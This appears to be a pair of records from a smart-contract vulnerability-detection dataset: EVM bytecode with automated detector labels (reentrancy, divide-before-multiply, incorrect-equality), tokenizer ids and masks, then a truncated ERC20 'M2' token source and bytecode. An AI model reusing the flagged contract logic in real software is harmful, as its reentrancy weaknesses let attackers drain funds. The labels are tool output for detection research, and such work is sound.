6d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b60008581526007602052604090205480613872576040805162461bcd60e51b815260206004820152601a60248201526000805160206158e5833981519152604482015290519081900360640190fd5b606080606061387f613b44565b9850919450925090506138ba61389485613f71565b61138e8b6138b16138a3610d40565b600b5461138e908f906139ff565b8a88888861492e565b965060006138df670de0b6b3a764000061138e600d548b6139ff90919063ffffffff16565b9050613902670de0b6b3a764000061138e600e54846139ff90919063ffffffff16565b955061390e88826139a2565b975050505050509250925092565b6000610dc561392a83613f71565b604080516370a0823160e01b815230600482015290516001600160a01b038616916370a08231916024808301926020929190829003018186803b15801561397057600080fd5b505afa158015613984573d6000803e3d6000fd5b505050506040513d602081101561399a57600080fd5b5051906139ff565b6000828211156139f9576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082613a0e57506000610cdd565b82820282848281613a1b57fe5b0414610e4e5760405162461bcd60e51b8152600401808060200182810382526021815260200180615a876021913960400191505060405180910390fd5b6000808211613aae576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381613ab757fe5b049392505050565b600082815260096020526040812054808310613afb57613af8670de0b6b3a764000061138e600f548487036139ff90919063ffffffff16565b91505b613b18826113708561226585600b546139a290919063ffffffff16565b600b5550505050565b60008115613b365750600160c81b8217610cdd565b50600160c81b198216610cdd565b606080606060008060105490508067ffffffffffffffff81118015613b6857600080fd5b50604051908082528060200260200182016040528015613b92578160200160208202803683370190505b5094508067ffffffffffffffff81118015613bac57600080fd5b50604051908082528060200260200182016040528015613bd6578160200160208202803683370190505b5093508067ffffffffffffffff81118015613bf057600080fd5b50604051908082528060200260200182016040528015613c1a578160200160208202803683370190505b5092506000915060005b818160ff161015613d2e5760ff8116600090815260076020526040902054613c4b8161391c565b878360ff1681518110613c5a57fe5b602002602001018181525050613c6f816144b3565b15613cb35760ff82166000818152600960205260409020548851613c97928a918110611eea57fe5b878360ff1681518110613ca657fe5b6020026020010181815250505b613cdc878360ff1681518110613cc557fe5b60200260200101518561346d90919063ffffffff16565b9350613ce781613f87565b868360ff1681518110613cf657fe5b602002602001018181525050613d0b81613f9c565b858360ff1681518110613d1a57fe5b602090810291909101015250600101613c24565b505090919293565b600b54818114613d755780821115613d6f57600654613d6f9061010090046001600160a01b0316611c758361138e818703611ebc610d40565b600b8290555b5050565b6000613d87611b6385613f71565b9050613d92846144b3565b15613e215782846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015613de557600080fd5b505afa158015613df9573d6000803e3d6000fd5b505050506040513d6020811015613e0f57600080fd5b50511015613e2157613e218484614a88565b613e356001600160a01b0385163385614d11565b613b18613e44611b6386613f71565b600b5461137090846139a2565b7fa7b53796fd2d99cb1f5ae019b54f9e024446c3d12b483f733ccc62ed04eb126a55565b6001600160a01b038216613eba5760405162461bcd60e51b8152600401808060200182810382526021815260200180615b686021913960400191505060405180910390fd5b613ec682600083612b99565b613f0381604051806060016040528060228152602001615752602291396001600160a01b03851660009081526001602052604090205491906133d6565b6001600160a01b038316600090815260016020526040902055600354613f2990826139a2565b6003556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600080613f7d83614d63565b600a0a9392505050565b620fffff60a09190911c1664e8d4a510000290565b620fffff60b49190911c1664e8d4a510000290565b600080613fbe868861346d565b90506000613fcc868961346d565b9050613fd885836139ff565b613fea82670de0b6b3a76400006139ff565b11613ff9578792505050614192565b61400384836139ff565b61401582670de0b6b3a76400006139ff565b11156140525760405162461bcd60e51b8152600401808060200182810382526028815260200180615af06028913960400191505060405180910390fd5b6000925061406085886139ff565b61407287670de0b6b3a76400006139ff565b116140ae576140ab61408c670de0b6b3a7640000876139a2565b61138e6140a189670de0b6b3a76400006139ff565b6113708b8a6139ff565b92505b6000806140d86140d36140c18b8861346d565b61138e87670de0b6b3a76400006139ff565b614d6c565b90506140e881611ebc8b8b6139a2565b9150614115905061410e614104670de0b6b3a7640000886139a2565b611ebc8c886139a2565b82906139a2565b905061412b61412486886139a2565b8290613a58565b9050614137848261346d565b93508884111561418e576040805162461bcd60e51b815260206004820152601a60248201527f70656e616c74792073686f756c6420626520706f736974697665000000000000604482015290519081900360640190fd5b5050505b95945050505050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611c7a908590614e9a565b60608060008060105490508067ffffffffffffffff8111801561421757600080fd5b50604051908082528060200260200182016040528015614241578160200160208202803683370190505b5093508067ffffffffffffffff8111801561425b57600080fd5b50604051908082528060200260200182016040528015614285578160200160208202803683370190505b5092506000915060005b818160ff1610156143975760ff811660008181526007602052604090205485519091869181106142bb57fe5b6020026020010181815250506142e6848260ff16815181106142d957fe5b602002602001015161391c565b858260ff16815181106142f557fe5b602002602001018181525050614320848260ff168151811061431357fe5b60200260200101516144b3565b156143645760ff811660008181526009602052604090205486516143489288918110611eea57fe5b858260ff168151811061435757fe5b6020026020010181815250505b61438d858260ff168151811061437657fe5b60200260200101518461346d90919063ffffffff16565b925060010161428f565b5050909192565b6000601282106143f5576040805162461bcd60e51b815260206004820152601e60248201527f646563696d616c206d756c7469706c657220697320746f6f206c617267650000604482015290519081900360640190fd5b5060c91b601f60c91b19919091161790565b60006101008210614452576040805162461bcd60e51b815260206004820152601060248201526f74696420697320746f6f206c6172676560801b604482015290519081900360640190fd5b61445b836144bf565b156144a4576040805162461bcd60e51b81526020600482015260146024820152733a34b21031b0b73737ba1039b2ba1030b3b0b4b760611b604482015290519081900360640190fd5b5060ce1b1790565b6001600055565b60c81c60019081161490565b60ce1c60ff1690565b600080600080600860006144db876144bf565b815260200190815260200160002060009054906101000a90046001600160a01b03169050806001600160a01b03166377c7b8fc6040518163ffffffff1660e01b815260040160206040518083038186803b15801561453857600080fd5b505afa15801561454c573d6000803e3d6000fd5b505050506040513d602081101561456257600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038716916370a0823191602480820192602092909190829003018186803b1580156145ae57600080fd5b505afa1580156145c2573d6000803e3d6000fd5b505050506040513d60208110156145d857600080fd5b5051604080516370a0823160e01b815230600482015290519194506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561462657600080fd5b505afa15801561463a573d6000803e3d6000fd5b505050506040513d602081101561465057600080fd5b5051905061466a670de0b6b3a764000061138e83886139ff565b9496939550505050565b8015806146fa575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156146cc57600080fd5b505afa1580156146e0573d6000803e3d6000fd5b505050506040513d60208110156146f657600080fd5b5051155b6147355760405162461bcd60e51b8152600401808060200182810382526036815260200180615c7b6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052612b99908490614e9a565b6000806147a5856147a06103e861138e8c6103e76139ff565b614f4b565b905060005b6101008110156148ec5760006147cd6147c68a8a868a8a614f61565b849061346d565b90506000878211156147e257508681036147e7565b508087035b620186a0840481101561487e57878411156148335760405162461bcd60e51b81526004018080602001828103825260248152602001806159c16024913960400191505060405180910390fd5b8a8411156148725760405162461bcd60e51b8152600401808060200182810382526022815260200180615c596022913960400191505060405180910390fd5b83945050505050614924565b600061488d8b8b878b8b6150c7565b9050888311156148be576148b76148b08261138e85670de0b6b3a76400006139ff565b86906139a2565b94506148e1565b6148de6148d78261138e85670de0b6b3a76400006139ff565b869061346d565b94505b5050506001016147aa565b5060405162461bcd60e51b815260040180806020018281038252602381526020018061599e6023913960400191505060405180910390fd5b9695505050505050565b60008061494d876147a06103e861138e6103e78a8e81518110611ffd57fe5b905060005b6101008110156148ec57600061496f6147c68b8a8a8a8a8961515a565b90506000898211156149845750888103614989565b508089035b620186a08404811015614a2757898411156149d55760405162461bcd60e51b81526004018080602001828103825260248152602001806159c16024913960400191505060405180910390fd5b878b815181106149e157fe5b60200260200101518411156148725760405162461bcd60e51b8152600401808060200182810382526022815260200180615c596022913960400191505060405180910390fd5b6000614a378c8b8b8b8b8a6151d5565b90508a831115614a6157614a5a6148b08261138e85670de0b6b3a76400006139ff565b9450614a7d565b614a7a6148d78261138e85670de0b6b3a76400006139ff565b94505b505050600101614952565b614a91826144b3565b614acc5760405162461bcd60e51b8152600401808060200182810382526026815260200180615a3f6026913960400191505060405180910390fd5b6000806000614ada856144c8565b91945092509050614af9614aed866144bf565b612dfd611b6388613f71565b6000614b148361137087612265600a61138e8385878b61346d565b905080614b245750505050613d75565b6000614b4160016122658761138e86670de0b6b3a76400006139ff565b90506000876001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015614b9257600080fd5b505afa158015614ba6573d6000803e3d6000fd5b505050506040513d6020811015614bbc57600080fd5b5051905060086000614bcd8a6144bf565b8152602081019190915260409081016000908120548251632e1a7d4d60e01b81526004810186905292516001600160a01b0390911692632e1a7d4d92602480830193919282900301818387803b158015614c2657600080fd5b505af1158015614c3a573d6000803e3d6000fd5b505050506000614c91828a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561318c57600080fd5b905083811015614cd25760405162461bcd60e51b8152600401808060200182810382526027815260200180615b416027913960400191505060405180910390fd5b614ce8614cde8a613f71565b611ebc87846139a2565b60096000614cf58c6144bf565b8152602081019190915260400160002055505050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052612b99908490614e9a565b60c91c601f1690565b6000670de0b6b3a7640000821015614dcb576040805162461bcd60e51b815260206004820181905260248201527f6c6f672878293a2078206d7573742062652067726561746572207468616e2031604482015290519081900360640190fd5b6503782dace9d960511b8210614e21576040805162461bcd60e51b81526020600482015260166024820152756c6f672878293a207820697320746f6f206c6172676560501b604482015290519081900360640190fd5b614e46614e37670de0b6b3a7640000600a613a58565b670de0b6b3a76400009061346d565b8211614e5c57614e55826152ea565b9050610dc8565b6000614e75670de0b6b3a7640000604085901b046153cd565b90506000614e8282615426565b600f0b67099e8db03256ce800260401c949350505050565b6060614eef826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661555a9092919063ffffffff16565b805190915015612b9957808060200190516020811015614f0e57600080fd5b5051612b995760405162461bcd60e51b815260040180806020018281038252602a815260200180615bf4602a913960400191505060405180910390fd5b6000818310614f5a5781610e4e565b5090919050565b600080614f6e87866139a2565b9050614f7a81856139ff565b614f8c87670de0b6b3a76400006139ff565b11614f9b576000915050614192565b614fa581846139ff565b614fb787670de0b6b3a76400006139ff565b1115614ff45760405162461bcd60e51b81526004018080602001828103825260238152602001806157a76023913960400191505060405180910390fd5b600061500088866139ff565b61501288670de0b6b3a76400006139ff565b101561503b576150386150318661138e8a670de0b6b3a76400006139ff565b89906139a2565b90505b60006150786150716140d3614e376150638c611370670de0b6b3a764000061138e8d8c6139ff565b61138e8a611ebc8e8a6139a2565b89906139ff565b905060006150968661138e818161508f828d6139a2565b87906139ff565b905060006150ac8761138e8a611ebc8d896139a2565b90506150b882826139a2565b9b9a5050505050505050505050565b6000670de0b6b3a7640000816150dd88876139a2565b90506150e981866139ff565b6150fb88670de0b6b3a76400006139ff565b1161510857509050614192565b61514e61514761512889611370670de0b6b3a764000061138e8a886139ff565b61138e615135858a6139ff565b6113708c670de0b6b3a76400006139ff565b839061346d565b98975050505050505050565b600080805b86518110156151c95788811415615175576151c1565b6151be6151478989848151811061518857fe5b6020026020010151878a868151811061519d57fe5b60200260200101518a87815181106151b157fe5b6020026020010151614f61565b91505b60010161515f565b50979650505050505050565b6000670de0b6b3a7640000816151eb88856139a2565b905060005b87518110156152dc5789811415615206576152d4565b600087828151811061521457fe5b60200260200101519050600089838151811061522c57fe5b6020026020010151905061524982856139ff90919063ffffffff16565b61525b82670de0b6b3a76400006139ff565b116152675750506152d4565b600088848151811061527557fe5b602002602001015190506152ce6152c76152a884611370670de0b6b3a764000061138e8b886139ff90919063ffffffff16565b61138e6152b589886139ff565b61137087670de0b6b3a76400006139ff565b879061346d565b95505050505b6001016151f0565b509098975050505050505050565b6000670de0b6b3a764000080831015615343576040805162461bcd60e51b81526020600482015260166024820152756c6f67417070726f783a2078206d757374203e3d203160501b604482015290519081900360640190fd5b80830360006153568361138e84806139ff565b905060006153688461138e84866139ff565b9050600061537a8561138e84876139ff565b9050600061538c8661138e84886139ff565b905061514e61539c826005613a58565b6122656153aa856004613a58565b6113706153b8886003613a58565b6122656153c68b6002613a58565b8c906139a2565b80600f81900b8114610dc8576040805162461bcd60e51b815260206004820152601b60248201527f436f6e76657273696f6e20746f20696e74313238206661696c65640000000000604482015290519081900360640190fd5b60008082600f0b13615474576040805162461bcd60e51b815260206004820152601260248201527178206d75737420626520706f73697469766560701b604482015290519081900360640190fd5b6000600f83900b680100000000000000008112615493576040918201911d5b600160201b81126154a6576020918201911d5b6201000081126154b8576010918201911d5b61010081126154c9576008918201911d5b601081126154d9576004918201911d5b600481126154e9576002918201911d5b600281126154f8576001820191505b603f19820160401b6000607f849003600f87900b8282121561551657fe5b901b90506780000000000000005b6508000000000081131561554f5790800260ff81901c8281029390930192607f011c9060011d615524565b509095945050505050565b60606155698484600085615571565b949350505050565b6060824710156155b25760405162461bcd60e51b81526004018080602001828103825260268152602001806159056026913960400191505060405180910390fd5b6155bb856156c2565b61560c576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061564b5780518252601f19909201916020918201910161562c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146156ad576040519150601f19603f3d011682016040523d82523d6000602084013e6156b2565b606091505b5091509150611b6a8282866156c8565b3b151590565b606083156156d7575081610e4e565b8251156156e75782518084602001fd5b60405162461bcd60e51b815260206004820181815284516024840152845185939192839260440191908501908083836000831561342a57818101518382015260200161341256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e6365746f6b656e7320616e64206465634d756c7469706c69657273206d7573742068617665207468652073616d65206c656e67746872656465656d3a20686172642d6c696d6974207765696768742069732062726f6b656e73776170416c6c206d696e743a206e657720746f74616c2062616c616e6365206d757374203e3d206f6c6420746f74616c2062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737373776170416c6c20616d6f756e7473206c656e67746820213d206e746f6b656e7345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636573776170416c6c206665652069732067726561746572207468616e206d6178206665652075736572206f66666572656441646d696e20696e746572657374206665652070637420697320746f6f206c617267654261636b656420746f6b656e206973206e6f7420666f756e6421000000000000416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536f66742d6c696d697420776569676874206d757374203c3d20486172642d6c696d69742077656967687470656e616c7479206973206e6f7420737570706f7274656420696e2073776170416c6c206e6f7779746f6b656e20776974686472617720616d6f756e74203c20657870656374656463616e6e6f742066696e642070726f706572207265736f6c7574696f6e206f6620667852656465656d206572726f723a206f757420616d6f756e74203e206c7020616d6f756e74746f6b656e7320616e642079746f6b656e73206d7573742068617665207468652073616d65206c656e6774686c70546f6b656e206d696e7465642073686f756c64203e3d206d696e696d756d206c70546f6b656e2061736b656479546f6b656e206d75737420626520656e61626c656420666f7220726562616c616e63696e67546f6b656e7320666f722073776170206d75737420626520646966666572656e7421536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726d696e743a206e65772070657263656e7461676520657863656564732068617264207765696768745265656e7472616e637947756172643a207265656e7472616e742063616c6c206f7220706175736564696e73756666696369656e7420636173682077697468647261776e2066726f6d2079546f6b656e45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737362546f6b656e2072657475726e6564203c206d696e2062546f6b656e2061736b65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656473776170416c6c2072656465656d3a206e657720746f74616c2062616c616e6365206d757374203c3d206f6c6420746f74616c2062616c616e636552656465656d206572726f723a20696e73756666696369656e742062616c616e63655361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203395a3d8f752cad02d27a22de50b13bd80349af5f508d1eea947ad150b3babc964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 9468, 26187, 2620, 16068, 2620, 2050, 2581, 2575, 2620, 2683, 26337, 2497, 2575, 2278, 2549, 20952, 2581, 19481, 11057, 23777, 2629, 2278, 29345, 2278, 24594, 2497, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,197
0x965d79F1A1016B574a62986e13Ca8Ab04DfdD15C
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract M2 is ERC20, ERC20Detailed { constructor () public ERC20Detailed("M2", "M2", 18) { _mint(msg.sender, 5e28); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025f57806370a08231146102c557806395d89b411461031d578063a457c2d7146103a0578063a9059cbb14610406578063dd62ed3e1461046c576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019757806323b872dd146101b5578063313ce5671461023b575b600080fd5b6100b66104e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b61019f6105a4565b6040518082815260200191505060405180910390f35b610221600480360360608110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ae565b604051808215151515815260200191505060405180910390f35b610243610687565b604051808260ff1660ff16815260200191505060405180910390f35b6102ab6004803603604081101561027557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b604051808215151515815260200191505060405180910390f35b610307600480360360208110156102db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610751565b6040518082815260200191505060405180910390f35b610325610799565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036557808201518184015260208101905061034a565b50505050905090810190601f1680156103925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ec600480360360408110156103b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6104526004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610908565b604051808215151515815260200191505060405180910390f35b6104ce6004803603604081101561048257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610926565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561057c5780601f106105515761010080835404028352916020019161057c565b820191906000526020600020905b81548152906001019060200180831161055f57829003601f168201915b5050505050905090565b600061059a6105936109ad565b84846109b5565b6001905092915050565b6000600254905090565b60006105bb848484610bac565b61067c846105c76109ad565b6106778560405180606001604052806028815260200161101660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062d6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6109b5565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107476106ab6109ad565b8461074285600160006106bc6109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2290919063ffffffff16565b6109b5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108315780601f1061080657610100808354040283529160200191610831565b820191906000526020600020905b81548152906001019060200180831161081457829003601f168201915b5050505050905090565b60006108fe6108486109ad565b846108f98560405180606001604052806025815260200161108760259139600160006108726109ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e629092919063ffffffff16565b6109b5565b6001905092915050565b600061091c6109156109ad565b8484610bac565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806110636024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180610fce6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061103e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb8576040517f08c379a00000000000000000000000000000000000000000000000